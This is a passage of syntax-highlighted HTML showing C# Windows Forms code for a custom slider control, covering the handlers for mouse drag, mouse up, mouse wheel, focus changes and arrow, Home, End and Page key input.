#007700">?&nbsp;</span><span style="color: #0000BB">pt</span><span style="color: #007700">.</span><span style="color: #0000BB">X&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">pt</span><span style="color: #007700">.</span><span style="color: #0000BB">Y</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;margin&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">thumbSize&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">p&nbsp;</span><span style="color: #007700">-=&nbsp;</span><span style="color: #0000BB">margin</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">float&nbsp;coef&nbsp;</span><span style="color: #007700">=&nbsp;(float)(</span><span style="color: #0000BB">barMaximum&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">barMinimum</span><span style="color: #007700">)&nbsp;/<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(float)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((</span><span style="color: #0000BB">barOrientation&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">Orientation</span><span style="color: #007700">.</span><span style="color: #0000BB">Horizontal&nbsp;</span><span style="color: #007700">?&nbsp;</span><span style="color: #0000BB">ClientSize</span><span style="color: #007700">.</span><span style="color: #0000BB">Width&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">ClientSize</span><span style="color: #007700">.</span><span style="color: #0000BB">Height</span><span style="color: #007700">)&nbsp;-<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">2&nbsp;</span><span style="color: #007700">*&nbsp;</span><span style="color: #0000BB">margin</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">trackerValue&nbsp;</span><span style="color: #007700">=&nbsp;(int)(</span><span style="color: #0000BB">p&nbsp;</span><span style="color: #007700">*&nbsp;</span><span style="color: #0000BB">coef&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">barMinimum</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">trackerValue&nbsp;</span><span style="color: #007700">&lt;=&nbsp;</span><span style="color: #0000BB">barMinimum</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">trackerValue&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">barMinimum</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ScrollEventType</span><span style="color: #007700">.</span><span style="color: #0000BB">First</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">trackerValue&nbsp;</span><span style="color: #007700">&gt;=&nbsp;</span><span style="color: #0000BB">barMaximum</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">trackerValue&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">barMaximum</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ScrollEventType</span><span style="color: #007700">.</span><span style="color: #0000BB">Last</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">Scroll&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Scroll</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">,&nbsp;new&nbsp;</span><span style="color: #0000BB">ScrollEventArgs</span><span style="color: #007700">(</span><span style="color: #0000BB">set</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">trackerValue</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">ValueChanged&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">ValueChanged</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">,&nbsp;new&nbsp;</span><span style="color: #0000BB">EventArgs</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Raises&nbsp;the&nbsp;&lt;see&nbsp;cref="E:System.Windows.Forms.Control.MouseUp"&gt;&lt;/see&gt;&nbsp;event.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="e"&gt;A&nbsp;&lt;see&nbsp;cref="T:System.Windows.Forms.MouseEventArgs"&gt;&lt;/see&gt;&nbsp;that&nbsp;contains&nbsp;the&nbsp;event&nbsp;data.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">protected&nbsp;</span><span style="color: #0000BB">override&nbsp;void&nbsp;OnMouseUp</span><span style="color: #007700">(</span><span style="color: #0000BB">MouseEventArgs&nbsp;e</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">base</span><span style="color: #007700">.</span><span style="color: #0000BB">OnMouseUp</span><span style="color: #007700">(</span><span style="color: #0000BB">e</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Capture&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">mouseInThumbRegion&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">IsPointInRect</span><span style="color: #007700">(</span><span style="color: #0000BB">e</span><span style="color: #007700">.</span><span style="color: #0000BB">Location</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">thumbRect</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">Scroll&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Scroll</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">,&nbsp;new&nbsp;</span><span style="color: #0000BB">ScrollEventArgs</span><span style="color: #007700">(</span><span style="color: #0000BB">ScrollEventType</span><span style="color: #007700">.</span><span style="color: #0000BB">EndScroll</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">trackerValue</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">ValueChanged&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">ValueChanged</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">,&nbsp;new&nbsp;</span><span style="color: #0000BB">EventArgs</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Raises&nbsp;the&nbsp;&lt;see&nbsp;cref="E:System.Windows.Forms.Control.MouseWheel"&gt;&lt;/see&gt;&nbsp;event.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="e"&gt;A&nbsp;&lt;see&nbsp;cref="T:System.Windows.Forms.MouseEventArgs"&gt;&lt;/see&gt;&nbsp;that&nbsp;contains&nbsp;the&nbsp;event&nbsp;data.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">protected&nbsp;</span><span style="color: #0000BB">override&nbsp;void&nbsp;OnMouseWheel</span><span style="color: #007700">(</span><span style="color: #0000BB">MouseEventArgs&nbsp;e</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">base</span><span style="color: #007700">.</span><span style="color: #0000BB">OnMouseWheel</span><span style="color: #007700">(</span><span style="color: #0000BB">e</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;v&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">e</span><span style="color: #007700">.</span><span style="color: #0000BB">Delta&nbsp;</span><span style="color: #007700">/&nbsp;</span><span style="color: #0000BB">120&nbsp;</span><span style="color: #007700">*&nbsp;(</span><span style="color: #0000BB">barMaximum&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">barMinimum</span><span style="color: #007700">)&nbsp;/&nbsp;</span><span style="color: #0000BB">mouseWheelBarPartitions</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">SetProperValue</span><span style="color: #007700">(</span><span style="color: #0000BB">Value&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">v</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Raises&nbsp;the&nbsp;&lt;see&nbsp;cref="E:System.Windows.Forms.Control.GotFocus"&gt;&lt;/see&gt;&nbsp;event.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="e"&gt;An&nbsp;&lt;see&nbsp;cref="T:System.EventArgs"&gt;&lt;/see&gt;&nbsp;that&nbsp;contains&nbsp;the&nbsp;event&nbsp;data.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">protected&nbsp;</span><span style="color: #0000BB">override&nbsp;void&nbsp;OnGotFocus</span><span style="color: #007700">(</span><span style="color: #0000BB">EventArgs&nbsp;e</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">base</span><span style="color: #007700">.</span><span style="color: #0000BB">OnGotFocus</span><span style="color: #007700">(</span><span style="color: #0000BB">e</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Raises&nbsp;the&nbsp;&lt;see&nbsp;cref="E:System.Windows.Forms.Control.LostFocus"&gt;&lt;/see&gt;&nbsp;event.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="e"&gt;An&nbsp;&lt;see&nbsp;cref="T:System.EventArgs"&gt;&lt;/see&gt;&nbsp;that&nbsp;contains&nbsp;the&nbsp;event&nbsp;data.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">protected&nbsp;</span><span style="color: #0000BB">override&nbsp;void&nbsp;OnLostFocus</span><span style="color: #007700">(</span><span style="color: #0000BB">EventArgs&nbsp;e</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">base</span><span style="color: #007700">.</span><span style="color: #0000BB">OnLostFocus</span><span style="color: #007700">(</span><span style="color: #0000BB">e</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Raises&nbsp;the&nbsp;&lt;see&nbsp;cref="E:System.Windows.Forms.Control.KeyUp"&gt;&lt;/see&gt;&nbsp;event.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="e"&gt;A&nbsp;&lt;see&nbsp;cref="T:System.Windows.Forms.KeyEventArgs"&gt;&lt;/see&gt;&nbsp;that&nbsp;contains&nbsp;the&nbsp;event&nbsp;data.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">protected&nbsp;</span><span style="color: #0000BB">override&nbsp;void&nbsp;OnKeyUp</span><span style="color: #007700">(</span><span style="color: #0000BB">KeyEventArgs&nbsp;e</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">base</span><span style="color: #007700">.</span><span style="color: #0000BB">OnKeyUp</span><span style="color: #007700">(</span><span style="color: #0000BB">e</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch&nbsp;(</span><span style="color: #0000BB">e</span><span style="color: #007700">.</span><span style="color: #0000BB">KeyCode</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">Keys</span><span style="color: #007700">.</span><span style="color: #0000BB">Down</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">Keys</span><span style="color: #007700">.</span><span style="color: #0000BB">Left</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">SetProperValue</span><span style="color: #007700">(</span><span style="color: #0000BB">Value&nbsp;</span><span style="color: #007700">-&nbsp;(int)</span><span style="color: #0000BB">smallChange</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">Scroll&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Scroll</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">,&nbsp;new&nbsp;</span><span style="color: #0000BB">ScrollEventArgs</span><span style="color: #007700">(</span><span style="color: #0000BB">ScrollEventType</span><span style="color: #007700">.</span><span style="color: #0000BB">SmallDecrement</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Value</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">Keys</span><span style="color: #007700">.</span><span style="color: #0000BB">Up</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">Keys</span><span style="color: #007700">.</span><span style="color: #0000BB">Right</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">SetProperValue</span><span style="color: #007700">(</span><span style="color: #0000BB">Value&nbsp;</span><span style="color: #007700">+&nbsp;(int)</span><span style="color: #0000BB">smallChange</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">Scroll&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Scroll</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">,&nbsp;new&nbsp;</span><span style="color: #0000BB">ScrollEventArgs</span><span style="color: #007700">(</span><span style="color: #0000BB">ScrollEventType</span><span style="color: #007700">.</span><span style="color: #0000BB">SmallIncrement</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Value</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">Keys</span><span style="color: #007700">.</span><span style="color: #0000BB">Home</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Value&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">barMinimum</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">Keys</span><span style="color: #007700">.</span><span style="color: #0000BB">End</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Value&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">barMaximum</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">Keys</span><span style="color: #007700">.</span><span style="color: #0000BB">PageDown</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">SetProperValue</span><span style="color: #007700">(</span><span style="color: #0000BB">Value&nbsp;</span><span style="color: #007700">-&nbsp;(int)</span><span style="color: #0000BB">largeChange</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">Scroll&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Scroll</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">,&nbsp;new&nbsp;</span><span style="color: #0000BB">ScrollEventArgs</span><span style="color: #007700">(</span><span style="color: #0000BB">ScrollEventType</span><span style="color: #007700">.</span><span style="color: #0000BB">LargeDecrement</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Value</span><span style="color: #007700">));<br 